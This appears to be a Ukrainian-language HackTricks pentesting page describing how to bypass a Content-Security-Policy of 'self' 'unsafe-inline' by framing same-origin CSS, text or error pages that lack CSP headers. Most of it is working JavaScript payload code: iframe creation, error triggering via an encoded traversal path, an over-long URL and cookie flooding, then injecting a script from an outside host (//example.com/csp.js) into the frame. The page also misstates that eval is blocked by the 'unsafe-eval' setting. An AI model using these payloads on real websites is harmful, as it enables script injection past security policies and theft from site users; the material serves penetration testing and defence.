hacktricks/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

57 lines
3.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

Конфігурація, така як:
```
Content-Security-Policy: default-src 'self' 'unsafe-inline';
```
Забороняє використання будь-яких функцій, які виконують код, переданий як рядок. Наприклад: `eval, setTimeout, setInterval` будуть заблоковані через налаштування `unsafe-eval`.
Будь-який контент з зовнішніх джерел також заблокований, включаючи зображення, CSS, WebSockets і, особливо, JS.
### Через текст та зображення
Спостерігається, що сучасні браузери перетворюють зображення та тексти в HTML для покращення їх відображення (наприклад, налаштування фону, центрування тощо). Внаслідок цього, якщо зображення або текстовий файл, такий як `favicon.ico` або `robots.txt`, відкривається через `iframe`, він відображається як HTML. Варто зазначити, що ці сторінки часто не мають заголовків CSP і можуть не включати X-Frame-Options, що дозволяє виконання довільного JavaScript з них:
```javascript
frame = document.createElement("iframe")
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
### Через помилки
Аналогічно, відповіді з помилками, такі як текстові файли або зображення, зазвичай приходять без заголовків CSP і можуть не містити X-Frame-Options. Помилки можуть бути викликані для завантаження в iframe, що дозволяє виконати наступні дії:
```javascript
// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)
// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)
// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Removal of cookies is crucial post-execution
for (var i = 0; i < 5; i++) {
document.cookie = i + "="
}
```
Після активації будь-якого з наведених сценаріїв, виконання JavaScript в межах iframe можливе наступним чином:
```javascript
script = document.createElement("script")
script.src = "//example.com/csp.js"
window.frames[0].document.head.appendChild(script)
```
## Посилання
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
{{#include ../../banners/hacktricks-training.md}}